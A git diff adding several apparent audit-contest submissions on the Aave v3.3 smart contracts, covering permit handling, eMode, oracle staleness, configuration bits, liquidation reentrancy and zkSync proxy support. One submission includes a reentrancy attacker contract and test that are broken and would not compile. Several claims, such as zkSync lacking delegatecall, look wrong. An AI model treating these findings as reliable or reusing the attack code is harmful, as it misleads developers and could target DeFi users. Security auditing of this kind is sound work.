assets, the function allows setting any eMode category because there are no assets to validate against. +For users changing to a non-default eMode category, the function checks each reserve (asset) to see if the user is borrowing it. +If they are, it verifies that the asset is allowed (borrowable) in the new eMode category by inspecting the borrowableBitmap. + +The issue is that the function does not check the user's supplied (collateral) assets against the new eMode category. The benefits of eMode (like higher borrowing power) are predicated on both the user's debt and collateral being within the same risk category. If users can have collateral assets outside the eMode category, they could exploit the system by enjoying higher borrowing power without the corresponding risk mitigation. + +Example: +User supplies Asset X (not part of eMode Category A) as collateral. +Asset X has a lower liquidation threshold or higher risk profile. +User changes their eMode to Category A without any checks on their supplied collateral. +User borrows Asset Y (part of Category A) and benefits from enhanced borrowing parameters. +If Asset X depreciates significantly, the user's position could become undercollateralized. +The protocol has higher exposure to risk than intended for that eMode category + + + + + + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +_No response_ + +### PoC + +_No response_ + +### Mitigation + +Ensure that all assets the user is using as collateral are allowed in the new eMode category. \ No newline at end of file diff --git a/009.md b/009.md new file mode 100644 index 0000000..a1b71fb --- /dev/null +++ b/009.md @@ -0,0 +1,53 @@ +Obedient Lava Monkey + +Medium + +# `withdrawETHWithPermit` bypasses user-specified approval limits, enabling unauthorized full withdrawals. + +### Summary + +The missing validation of `permit` for the actual `amountToWithdraw` in [withdrawETHWithPermit](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L141) will cause unauthorized withdrawals for users as malicious actors will exploit mismatched approval limits to withdraw the user's full balance. + + + +### Root Cause + +In `WrappedTokenGatewayV3.sol`, the `permit` function validates [approval](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L136-L138) for `amount`, but `transferFrom` is called with `amountToWithdraw`, potentially exceeding the user's intent. + +When `amount` is set to `type(uint256).max`, the `amountToWithdraw` value is overridden to the user's full balance, regardless of the initial `amount` specified in the `permit`. This creates a mismatch between the permit approval (which is for amount) and the actual `amountToWithdraw` being processed. + + + +### Internal Pre-conditions + +1. User signs a `permit` for `amount` (e.g., limited approval). +2. User's `aWETH` balance is greater than or equal to `amountToWithdraw`. +3. Function input sets `amount` to a lower value than `amountToWithdraw` or `type(uint256).max`. + +### External Pre-conditions + +No restrictions are placed on `amountToWithdraw` being higher than the approved `amount`. + + +### Attack Path + +1. Attacker calls `withdrawETHWithPermit` with: +- `amount == permit-limited approval`. +- `amountToWithdraw == user’s full aWETH balance`. +2. Contract calls `permit` for the lesser `amount`, successfully validating the signature. +3. Contract executes `transferFrom` with `amountToWithdraw`, bypassing the intent of the user. +4. Excessive `aWETH` is withdrawn and unwrapped into ETH for the attacker. + +### Impact + +The user suffers a loss of their entire `aWETH` balance if `amountToWithdraw` exceeds their intended withdrawal limit. The attacker gains control of the withdrawn ETH. + + + +### PoC + +Validate the permit approval for amountToWithdraw instead of amount by modifying permit parameters in WrappedTokenGatewayV3.sol` + +### Mitigation + +Validate the permit approval for `amountToWithdraw` instead of `amount` by modifying `permit` parameters in `WrappedTokenGatewayV3.sol` \ No newline at end of file diff --git a/010.md b/010.md new file mode 100644 index 0000000..a01a9d6 --- /dev/null +++ b/010.md @@ -0,0 +1,57 @@ +Obedient Lava Monkey + +Medium + +# `repayETH` can result in loss of excess ETH during repayment. + +### Summary + +The failure to refund the entire excess ETH when `msg.value > paybackAmount` will cause ETH loss for users as the contract may retain unclaimed dust ETH if the exact refund logic is not implemented correctly. + +### Root Cause + +In [WrappedTokenGatewayV3.sol](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L75-L94), the contract refunds excess ETH after depositing `paybackAmount` to `WETH`, but does not account for edge cases where dust ETH (remaining small fractions) might remain in the contract due to rounding issues. + + Contracts interacting with `msg.value` often deal with rounding issues or leftover ETH. This is particularly true when interacting with contracts like `WETH` or `POOL`, which may have rounding discrepancies or fixed-point arithmetic constraints. + In [repayETH](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/helpers/WrappedTokenGatewayV3.sol#L93): + ```solidity + if (msg.value > paybackAmount) _safeTransferETH(msg.sender, msg.value - paybackAmount); + ``` + The contract **only refunds the explicit difference** between `msg.value` and `paybackAmount`. However, **dust ETH** can remain in the contract due to: + - Rounding discrepancies in `WETH.deposit`. + - Small mismatches when converting ETH to WETH or handling fractional amounts. + +### Internal Pre-conditions + +1. User calls `repayETH` with `msg.value` greater than the debt being repaid (`paybackAmount`). + + +### External Pre-conditions + +1. Rounding discrepancies arise in WETH’s `deposit` function or the pool’s internal handling of debt. + + +### Attack Path + +1. User sends `msg.value` slightly greater than the actual repayment amount (e.g., to ensure full coverage). +2. Contract performs repayment but refunds only the computed difference (`msg.value - paybackAmount`). +3. Dust ETH remains in the contract, which the user cannot retrieve, resulting in ETH loss over multiple transactions. + +### Impact + +The user suffers a loss of residual ETH (dust ETH) left in the contract after repayment. Over time, this could accumulate significantly for high-traffic contracts. + + + +### PoC + +_No response_ + +### Mitigation + +Ensure all residual ETH is refunded to the user after the repayment is completed. Modify `repayETH` as follows: +```solidity +if (address(this).balance > 0) { + _safeTransferETH(msg.sender, address(this).balance); +} +``` \ No newline at end of file diff --git a/011.md b/011.md new file mode 100644 index 0000000..e09a7df --- /dev/null +++ b/011.md @@ -0,0 +1,66 @@ +Obedient Lava Monkey + +Medium + +# Lack of Bounds Checking in `getFlags` and `getParams` Functions + +### Summary + +The absence of bounds checking in the `getFlags` and `getParams` functions will cause unexpected protocol behavior for users and the protocol as corrupted or out-of-bounds configuration data will result in invalid or nonsensical reserve parameters being returned and acted upon. + +### Root Cause + +In `ReserveConfiguration.sol`, the [getFlags](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L535-L546) and [getParams](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L557-L569) functions directly return values derived from `self.data` without validating whether these values fall within acceptable ranges or configurations. +```solidity +return (dataLocal & LTV_MASK); +``` +In `ReserveConfiguration.sol`, the `getFlags` function directly returns flags derived from `self.data` without validating whether the `data` field contains valid configurations. Specifically: + +```solidity +return ( + (dataLocal & ACTIVE_MASK) != 0, + (dataLocal & FROZEN_MASK) != 0, + (dataLocal & BORROWING_MASK) != 0, + (dataLocal & PAUSED_MASK) != 0 +); +``` + +If `self.data` contains corrupted or unintended values (e.g., due to improper updates elsewhere in the system), the function will return invalid flags, leading to **protocol misbehavior**. +This is not hypothetical because **bitwise operations do not inherently validate input correctness**, and no validation exists here to ensure `data` integrity. + +### Internal Pre-conditions + +1. An admin or external contract improperly updates the `data` field of `ReserveConfigurationMap` to include invalid or out-of-bounds values. +2. Corrupted or unintended bit values are stored in critical parameters such as `LTV`, `Liquidation Threshold`, or flags. + +### External Pre-conditions + +1. The protocol executes operations relying on the corrupted configuration data. +2. External actors interact with the protocol, triggering actions based on invalid configurations (e.g., borrowing, liquidation, or supplying assets). + +### Attack Path + +1. Corrupted or out-of-bounds data is present in `ReserveConfigurationMap.data` due to an improper update or a bug elsewhere in the system. +2. A user action triggers functions relying on `getFlags` or `getParams`, which return invalid values without validation. +3. These invalid values affect protocol behavior, such as: + - Allowing excessive borrowing due to invalid LTV. + - Improper liquidation actions due to incorrect Liquidation Threshold. + - Unexpected toggling of critical flags such as Active or Paused. + +### Impact + +The protocol suffers potential loss of consistency and trust due to: + + - Erroneous reserve behavior, such as over-lending or incorrect liquidations. + - Financial loss for users interacting with improperly configured reserves. + +### PoC + +_No response_ + +### Mitigation + +Introduce sanity checks in the `getFlags` and `getParams` functions to validate returned values are within valid ranges: +```solidity +require(returnedValue <= MAX_VALID_LTV, "Invalid LTV value"); +``` \ No newline at end of file diff --git a/012.md b/012.md new file mode 100644 index 0000000..ba69370 --- /dev/null +++ b/012.md @@ -0,0 +1,52 @@ +Obedient Lava Monkey + +Medium + +# Improper Clearing of Unused Bits Causes Incorrect Reserve Configuration + +### Summary + +In `ReserveConfiguration.sol`, improper clearing of unused bits when introducing new configuration logic will cause configuration corruption for users and protocol operations as existing residual data in unused bit regions can result in misconfigured parameters. + + + +### Root Cause + +In `ReserveConfiguration.sol`, the unused bits (e.g. bits 168-176) are not explicitly cleared during updates. + Example code: + +- In ReserveConfiguration.sol, bits 168-176, previously unoccupied ([eModeCategory](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L29-L49)), are not cleared when reused. + +### Internal Pre-conditions + +1. A developer introduces new logic or parameters that use previously unused bits (e.g., 168-176). +2. The protocol does not explicitly clear the residual data in these bits. + +### External Pre-conditions + +1. The protocol relies on existing configuration data stored in [self.data](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L76). +2. Residual data exists in the unused bits (e.g. from a past version of the protocol or an invalid state). + +### Attack Path + +1. An admin updates the reserve configuration using `setParams()` or `setCaps()` without clearing unused bits. +2. Corrupted data in unused bits interacts with new logic introduced by the update. +3. The corrupted configuration leads to inconsistent reserve parameters, such as unexpected `eModeCategory` or invalid Liquidation Bonus. + +### Impact + +The protocol suffers a potential loss of consistency in reserve parameters, which could result in: + + - Invalid calculations for loan-to-value, liquidation bonus, or debt ceilings. + - Unintended consequences such as enabling borrowing or supplying for restricted assets + +### PoC + +_No response_ + +### Mitigation + +Always explicitly clear unused bits before updating new parameters: +```solidity +self.data &= ~(MASK_FOR_UNUSED_BITS); +``` \ No newline at end of file diff --git a/013.md b/013.md new file mode 100644 index 0000000..d796019 --- /dev/null +++ b/013.md @@ -0,0 +1,57 @@ +Obedient Lava Monkey + +Medium + +# Lack of Range Validation in `setLtv` Causes Data Truncation for Protocol Users as Admin Sets Out-of-Range LTV Values + +### Summary + +The absence of range validation in [setLtv](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/configuration/ReserveConfiguration.sol#L73-L77) will cause data truncation for protocol users as admin sets LTV values exceeding 16 bits, leading to unintended or corrupted configurations. + + + +### Root Cause + +In `ReserveConfiguration.sol`, the lack of range validation for LTV values allows inputs exceeding the 16-bit limit, causing data truncation when these values are bitwise shifted into the configuration. + When setting the Loan-to-Value (LTV) in `setLtv`, if the provided value exceeds the bit range allocated (16 bits), it can lead to truncation of the LTV value due to the bitmask not preventing larger values from being written. + +```solidity +self.data = (self.data & ~LTV_MASK) | ltv; +``` +- If `ltv` is greater than `65535` (the max value for 16 bits), it silently truncates to fit, potentially setting an unintended LTV value, leading to incorrect risk calculations and unintended liquidations. + +`self.data` alone doesn't help because it merely holds the configuration data as a bitmask without enforcing any constraints on the values being set. Without explicit validation, `self.data` will store whatever value is passed, including out-of-range values that will be **truncated** when bit-shifted into the 16-bit space, leading to **corruption** of the intended configuration. + +### Internal Pre-conditions + +1. Admin needs to call `setLtv()` to set ltv to be greater than `65535`. +2. The `self.data` bitmask does not restrict values to the valid 16-bit range. + +### External Pre-conditions + +1. No external contract or oracle interaction is required. +2. The protocol relies on `self.data` to store and retrieve reserve configuration. + +### Attack Path + +1. Admin calls `setLtv()` with an `ltv` value greater than `65535`. +2. The `ltv` value is truncated to fit into the 16-bit space without validation. +3. The reserve operates with a corrupted or unintended LTV configuration. + +### Impact + +The protocol suffers from incorrect risk calculations, which could result in unintended liquidations or improper reserve management, potentially harming users by altering their loan conditions unexpectedly. + +### PoC + +_No response_ + +### Mitigation + +Add a validation check in `setLtv` to ensure `ltv` does not exceed `65535` before applying the bitmask. + + + + + + diff --git a/014.md b/014.md new file mode 100644 index 0000000..626a2a6 --- /dev/null +++ b/014.md @@ -0,0 +1,59 @@ +Upbeat Pineapple Chicken + +Medium + +# Using latestAnswer to get asset prices from chainlink is deprecated, consider using latestRoundData + +### Summary + +Using `AggregatorInterface`s `latestAnswer()` is deprecated and allows for the received data to be stale. Consider using latestRoundData to verify that the received price is not stale. + +### Root Cause + +In [`AaveOracle.sol::getAssetPrice()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/misc/AaveOracle.sol#L109) ,`latestAnswer()` is used. +[`LiquidationLogic.sol::executeLiquidationCall()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200) heavily relies on the `getAssetPrice()` function to get both collateral and debt value. It is also used in [`calculateUserAccountData()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/GenericLogic.sol#L63) and in [`validateBorrow()`](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/8da00c84076db02af24bfe20cc6b99e6738f743f/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L78). Those values could be not up to date to the current market price since the received price is not checked for being up to date. + +### Internal Pre-conditions + +_No response_ + +### External Pre-conditions + +1. Received Price is stale. + +### Attack Path + +_No response_ + +### Impact + +The protocol wrongfully assumes that the received price is up to date which can lead to inconsistencies in debt and collateral calculations which in result could lead to other problems associated with borrowing and liquidations. + +### PoC + +_No response_ + +### Mitigation + + Consider using `latestRoundData()` instead of `latestAnswer()` and check if the price is stale. +```diff + function getAssetPrice(address asset) public view override returns (uint256) { + AggregatorInterface source = assetsSources[asset]; + + if (asset == BASE_CURRENCY) { + return BASE_CURRENCY_UNIT; + } else if (address(source) == address(0)) { + return _fallbackOracle.getAssetPrice(asset); + } else { +- int256 price = source.latestAnswer(); ++ (uint256 roundId, int256 price,, uint256 updatedAt, uint80 answeredInRound) = source.latestRoundData(); ++ require(updatedAt >= block.timestamp - 1 hours, "Stale price"); //or other time offset + + if (price > 0) { + return uint256(price); + } else { + return _fallbackOracle.getAssetPrice(asset); + } + } + } + ``` \ No newline at end of file diff --git a/015.md b/015.md new file mode 100644 index 0000000..93246ee --- /dev/null +++ b/015.md @@ -0,0 +1,29 @@ +Rapid Basil Swallow + +High + +# Missing Authorization Check for Borrowing on Behalf of onBehalfOf Address + +### Summary + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L103 + +Unauthorized Borrowing: A user can designate an address as the `onBehalfOf` party and invoke the `executeBorrow` function in a credit delegation scenario. If the specified `onBehalfOf` address has not explicitly authorized the user to borrow using their credit, the `onBehalfOf` party incurs the debt while the user receives the borrowed funds. + +In a credit delegation scenario, the user (delegatee) can assign responsibility for the debt to an `onBehalfOf` address via the `executeBorrow` function. However, there is no mechanism to verify that the `onBehalfOf` address has authorized the user to borrow on their behalf, as outlined in the `mint` function documentation. + + +### Attack Path + +1. Bob unknowingly becomes the onBehalfOf party. +2. Alice maliciously calls the borrow function, passing her address as user and Bob’s address as onBehalfOf. +3. If the protocol doesn’t validate that Bob has explicitly allowed Alice to borrow using his credit, Bob ends up with the debt, while Alice receives the funds. + +### Impact + +Assignment of debt to the `onBehalfOf` address without their explicit authorization. + + +### Mitigation + +Implement proper access control and ensure that the onBehalfOf address has explicitly granted permission to the user through a signed message before the `mint` function is called \ No newline at end of file diff --git a/016.md b/016.md new file mode 100644 index 0000000..e785142 --- /dev/null +++ b/016.md @@ -0,0 +1,98 @@ +Bent Cyan Orca + +High + +# ZKSync Era does NOT support `delegatecall` + +### Summary + +This protocol is intended to be implemented on multiple chains, including the zksync Era chain. However, ZKSync Era does not support `delegatecall` which is the basis of the upgradeable proxy pattern. + +### Root Cause + +The main problem is in the proxy pattern used for upgradeable contracts. This can be seen in `Pool` which uses `VersionedInitializable`. +```solidity +abstract contract Pool is VersionedInitializable, PoolStorage, IPool { + // ... +} +``` + +And the use of `InitializableImmutableAdminUpgradeabilityProxy` in `ConfiguratorLogic`. +```solidity +function _initTokenWithProxy( + address implementation, + bytes memory initParams +) internal returns (address) { + InitializableImmutableAdminUpgradeabilityProxy proxy = + new InitializableImmutableAdminUpgradeabilityProxy(address(this)); + + proxy.initialize(implementation, initParams); + + return address(proxy); +} + +function _upgradeTokenImplementation( + address proxyAddress, + address implementation, + bytes memory initParams +) internal { + InitializableImmutableAdminUpgradeabilityProxy proxy = + InitializableImmutableAdminUpgradeabilityProxy(payable(proxyAddress)); + + proxy.upgradeToAndCall(implementation, initParams); +} +``` + +ZKSync Era does NOT support `delegatecall` which is the basis of the upgradeable proxy pattern. + +All contracts using proxy pattern with delegatecall will not work: +- aToken proxy +- variableDebtToken proxy +- Pool proxy +- All contracts deployed using `_initTokenWithProxy` + +### Attack Path + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/pool/Pool.sol#L38 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ConfiguratorLogic.sol#L184 +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/ConfiguratorLogic.sol#L204 + +### PoC + +Parts that won't work: +Initialize new token: +```solidity +function executeInitReserve( + IPool pool, + ConfiguratorInputTypes.InitReserveInput calldata input +) external { + // This section will not work because it uses a proxy. + address aTokenProxyAddress = _initTokenWithProxy( + input.aTokenImpl, + abi.encodeWithSelector( + IInitializableAToken.initialize.selector, + // ... + ) + ); + + address variableDebtTokenProxyAddress = _initTokenWithProxy( + input.variableDebtTokenImpl, + // ... + ); +} +``` + +Token implementation upgrade: +```solidity +function executeUpdateAToken( + IPool cachedPool, + ConfiguratorInputTypes.UpdateATokenInput calldata input +) external { + // This part will not work because it uses delegatecall + _upgradeTokenImplementation( + aTokenAddress, + input.implementation, + encodedCall + ); +} +``` \ No newline at end of file diff --git a/017.md b/017.md new file mode 100644 index 0000000..84b9ff7 --- /dev/null +++ b/017.md @@ -0,0 +1,181 @@ +Glamorous Plum Baboon + +High + +# Reentrancy Vulnerability in executeLiquidationCall May Cause Fund Loss + +### Summary + +The Reentrancy vulnerability in excuteLiquidationCall function of LiquidationLogic Contract will cause a potential loss of assets for the contract owner or users as an attacker will exploit the lack of reentrancy guards in external calls, allowing them to manipulate the contract's state and re-enter the function to drain funds. + +### Root Cause +In LiquidationLogic.sol:200, the executeLiquidationCall function begins execution. Within this function, external calls, such as _burnDebtTokens and _liquidateATokens, are performed before updating the contract state. This sequence of operations leaves the contract vulnerable to reentrancy attacks, allowing a malicious actor to exploit these external calls to re-enter the function through fallback mechanisms. This re-entrancy can manipulate the contract’s state or drain funds. + +Specific Reference: +The _burnDebtTokens external call is located at LiquidationLogic.sol:~293, and _liquidateATokens external call is at LiquidationLogic.sol:~301. Both are invoked before performing critical state updates, such as user configuration or reserve state adjustments, exposing the function to potential exploits + +https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/LiquidationLogic.sol#L200-L434 + +### Internal Pre-conditions + +State Update Occurs After External Calls: +The vulnerable function (executeLiquidationCall) performs external calls (e.g., _burnDebtTokens or _liquidateATokens) before updating the contract state, leaving it in an inconsistent state during execution. + +No Reentrancy Guard Implemented: +The function lacks a reentrancy guard (e.g., nonReentrant modifier or mutex variable), which would prevent multiple calls to the same function before completion of the initial call. + +Access to Critical State or Funds: +The function interacts with critical contract funds or state variables that can be manipulated during a reentrant call. + +### External Pre-conditions + +Caller is a Malicious Contract: +An external malicious contract must interact with the executeLiquidationCall function and include a fallback function that performs a reentrant call.I + +### Attack Path + +If the contract updates the user's debt, collateral balances, or other critical state variables after external calls (instead of before), it opens the door for reentrancy. In your code, the following points are of concern: + +IERC20.safeTransferFrom: External token transfers. +IAToken.handleRepayment: Likely involves external calls. +vars.collateralAToken.transferOnLiquidation: Transfers collateral, potentially to another contract + +### Impact + +The impact of reentrancy in the LiquidationLogic contract can be severe and lead to financial loss, insolvency of the system, and exploitation of liquidation mechanisms. Below is a breakdown of the potential impacts: + +Draining Collateral +If the LiquidationLogic contract allows reentrancy, the attacker can repeatedly trigger the liquidation process for the same collateral before the system updates the state. This means: + +The attacker can drain the collateral associated with the liquidated borrower multiple times. +This results in the system losing significant amounts of locked collateral, potentially causing irrecoverable financial loss. +Example Impact: +A borrower has collateral worth $100,000. +Due to reentrancy, the attacker calls executeLiquidationCall multiple times before the borrower's collateral balance is updated. +The attacker liquidates more than $100,000 worth of collateral. + + System Insolvency +Liquidation processes are critical for maintaining a system's solvency. A reentrancy exploit could: + +Leave borrowers' debts unpaid while the attacker extracts the collateral. +Deplete the reserves of the lending platform, resulting in inability to cover obligations for lenders. +Cause system-wide insolvency, where the protocol can no longer function properly + +### PoC + +To demonstrate how an attacker can exploit the reentrancy vulnerability in the executeLiquidationCall function using Foundry, here’s a detailed Proof of Concept (PoC). This PoC will simulate how an attacker can exploit the vulnerability to repeatedly call the executeLiquidationCall function during the external contract call, which is where the reentrancy risk exists. + +i will write the attacker's contract, a simple test, and how the vulnerability can be triggered + +Attacker Contract (Exploiting Reentrancy) +This attacker contract will repeatedly call executeLiquidationCall in the fallback function while the liquidation function is still in progress, leading to reentrancy. + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +interface ILiquidation { + function executeLiquidationCall( + mapping(address => uint256) storage reservesData, + mapping(uint256 => address) storage reservesList, + mapping(address => uint256) storage usersConfig, + mapping(uint8 => uint256) storage eModeCategories, + address user + ) external; +} + +contract Attacker { + ILiquidation public liquidationContract; + address public victim; + + // Constructor to set the target liquidation contract + constructor(address _liquidationContract, address _victim) { + liquidationContract = ILiquidation(_liquidationContract); + victim = _victim; + } + + // The fallback function where the reentrancy attack happens + fallback() external payable { + // Re-enter the target contract to call executeLiquidationCall again + liquidationContract.executeLiquidationCall( + address(0), address(0), address(0), address(0), victim + ); + } + + // Start the attack + function attack() external { + // Trigger the reentrancy attack by calling executeLiquidationCall + liquidationContract.executeLiquidationCall( + address(0), address(0), address(0), address(0), victim + ); + } +} + +Writing Test + +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import "./ILiquidation.sol"; // Assuming interface is saved in ILiquidation.sol + +contract LiquidationTest is Test { + ILiquidation public liquidationContract; + Attacker public attacker; + + address public victim = address(0x123); // Victim user address + + // This setup assumes that the Liquidation contract is already deployed. + function setUp() public { + liquidationContract = ILiquidation(address(0xabc)); // Replace with actual contract address + attacker = new Attacker(address(liquidationContract), victim); + } + + // Test function to simulate the reentrancy attack + function testReentrancyAttack() public { + // Assume that the victim has some collateral and debt to be liquidated + + // Trigger the attack + attacker.attack(); + + // Check the state to see if the liquidation function was re-entered successfully + // Depending on your contracts, you might want to check balances, states, or emitted events + // For example: + // assertEq(liquidationContract.getState(victim), expectedState); + } +} + +foundry execution +forge test --show-stack-traces + + +### Mitigation + +1. **Use the Checks-Effects-Interactions Pattern**: + - Ensure that state updates (e.g., debt balances, liquidation status) occur **before** any external calls are made. This prevents attackers from manipulating state after external calls. + +2. **Implement Reentrancy Guards**: + - Use a **reentrancy guard modifier** to block reentrancy during the execution of the function. This ensures that no subsequent calls can be made to the function until the current execution is completed. + + Example Implementation: + ```solidity + bool private _locked; + + modifier nonReentrant() { + require(!_locked, "ReentrancyGuard: reentrant call"); + _locked = true; + _; + _locked = false; + } + + function executeLiquidationCall(...) external nonReentrant { + // State updates before external calls + _burnDebtTokens(...); + _liquidateATokens(...); + } + ``` + +3. **Review External Calls for Potential Malicious Interactions**: + - Be cautious of external calls, especially involving token transfers, that may invoke contracts with malicious fallback functions. Ensure that the token transfer or burn logic doesn’t trigger reentrancy. + + +By following these recommendations, the `executeLiquidationCall` function can be secured against reentrancy vulnerabilities, ensuring that the liquidation process works as intended and without the risk of financial exploits. \ No newline at end of file diff --git a/018.md b/018.md new file mode 100644 index 0000000..a135ba6 --- /dev/null +++ b/018.md @@ -0,0 +1,43 @@ +Obedient Lava Monkey + +Medium + +# Incorrect handling of `useATokens` during repayment leads to loss of collateral. + +### **Summary:** +The failure to validate `useATokens` repayment mode when a user has insufficient `aTokens` balance will cause a partial repayment or unintended debt clearing for the user as the `burn` function fails or creates collateral inconsistencies. + +--- + +### **Root Cause:** +In [BorrowLogic.sol](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L188), when `params.useATokens` is true, the repayment amount (`params.amount`) defaults to the caller’s `aTokens` balance, but there is no validation to ensure the balance is sufficient for the desired repayment. + +--- + +### **Internal Pre-conditions:** +1. User has an active debt position and collateral provided in `aTokens`. +2. User calls `executeRepay` with `useATokens = true`, but their `aTokens` balance is less than `params.amount`. + +--- + +### **External Pre-conditions:** +1. No manipulation of external reserves or dependencies is required. +2. Users are actively using `aTokens` as collateral. + +--- + +### **Attack Path:** +1. A user has an active borrow position and partially redeemed their `aTokens` (e.g., borrowed 100 units but holds only 50 `aTokens`). +2. The user calls `executeRepay` with `useATokens = true` and sets `params.amount` to a value exceeding their available `aTokens` balance (e.g., 100 units). +3. The repayment process attempts to burn `aTokens` (via `IAToken.burn`), leading to incomplete repayment or a revert. +4. If incomplete repayment occurs, the user’s remaining collateral is mismanaged, leaving the system with improper debt and collateral accounting. + +--- + +### **Impact:** +Users may lose their remaining collateral (`aTokens`) without fully repaying their debt, or the protocol may encounter collateral-debt inconsistencies. This creates systemic risks and potential user losses. **Impact depends on the extent of the user's position but could lead to insolvency in edge cases.** + +--- + +### **Mitigation:** +Add a validation step in `executeRepay` to ensure the caller’s `aTokens` balance is at least equal to `params.amount` when `useATokens = true`. \ No newline at end of file diff --git a/019.md b/019.md new file mode 100644 index 0000000..1707b0c --- /dev/null +++ b/019.md @@ -0,0 +1,43 @@ +Obedient Lava Monkey + +Medium + +# Improper Validation of `isolationModeTotalDebt` Update in `executeBorrow` Allows Exceeding `isolationModeDebtCeiling` + +### Summary +In `BorrowLogic.sol`, improper updating of the isolation mode debt ceiling will cause overexposure for the protocol as the contract will allow borrowing that exceeds the configured debt ceiling. + +--- + +### Root Cause +In [BorrowLogic.sol](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L109-L114), the isolation mode debt is updated without a check to ensure that the new total debt remains within the isolation mode debt ceiling. +The root cause of the issue is that in the `executeBorrow` function, the `isolationModeTotalDebt` is[ incremented with the borrowed amount](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L111-L114) without checking if this new total exceeds the [isolationModeDebtCeiling](https://github.com/sherlock-audit/2025-01-aave-v3-3/blob/main/aave-v3-origin/src/contracts/protocol/libraries/logic/BorrowLogic.sol#L95). This lack of validation allows the total debt in isolation mode to surpass the maximum limit set by the protocol, which should prevent over-borrowing against isolated assets. + +--- + +### Internal Pre-conditions +1. The reserve needs to be in isolation mode. +2. The user needs to borrow an amount that, when added to the current `isolationModeTotalDebt`, exceeds the `isolationModeDebtCeiling`. + +--- + +### External Pre-conditions +1. The external oracle price for the collateral asset remains constant or increases. +2. There are no protocol-level safeguards or constraints set on the total debt in isolation mode by other contracts or administrative actions. + +--- + +### Attack Path +1. A user calls the `executeBorrow` function with a borrow amount that, when added to the current isolation mode debt, exceeds the configured ceiling. +2. The `isolationModeTotalDebt` is updated without validation, bypassing the debt ceiling limit. +3. The borrow is processed successfully, even though it violates the protocol's debt ceiling constraint. + +--- + +### Impact +The protocol suffers an increased risk of insolvency due to overexposure to the isolated asset. This can lead to financial loss if the asset value drops, and the debt surpasses the collateral's value, potentially resulting in under-collateralized loans. + +--- + +### Mitigation +Add a validation check to ensure that the updated total debt does not exceed the isolation mode debt ceiling before updating the `isolationModeTotalDebt`. \ No newline at end of file diff --git a/020.md b/020.md new file mode 100644 index 0000000..ac4aefa --- /dev/null +++ b/020.md @@ -0,0 +1,62 @@ +Bent Cyan Orca + +Medium + +# Uneconomical Small Position Liquidation Trap + +### Summary + +Positions with small values ​​(below the threshold) may be trapped in an unliquidable state due to gas costs being higher than the liquidator's potential profit, even though the position is below the permitted health factor. + +### Root Cause + +In Aave-v3.3-features.md it says that: +> Liquidation is still heavily influenced by gas prices, liquidation bonuses, and secondary market liquidity. + +On `LiquidationLogic`. +```solidity +uint256 public constant MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD = 2000e8; +``` +If the gas fee is higher than the liquidation bonus, the liquidator will have no economic incentive to liquidate. As mentioned in Aave-v3.3-features.md: +> A threshold of $2000 for example means that, with a 1% bonus, a liquidation should not cost more than $20 before it can no longer be liquidated by an economically sound liquidator. + +In `LiquidationLogic` the close factor logic limits liquidations: +```solidity +if ( + vars.userReserveCollateralInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.userReserveDebtInBaseCurrency >= MIN_BASE_MAX_CLOSE_FACTOR_THRESHOLD && + vars.healthFactor > CLOSE_FACTOR_HF_THRESHOLD +) { + uint256 totalDefaultLiquidatableDebtInBaseCurrency = vars.totalDebtInBaseCurrency.percentMul( + DEFAULT_LIQUIDATION_CLOSE_FACTOR // 50% + ); +``` + +And the liquidation bonus calculation does not take into account gas costs: +```solidity +vars.bonusCollateral = vars.collateralAmount - + vars.collateralAmount.percentDiv(liquidationBonus); + +vars.liquidationProtocolFeeAmount = 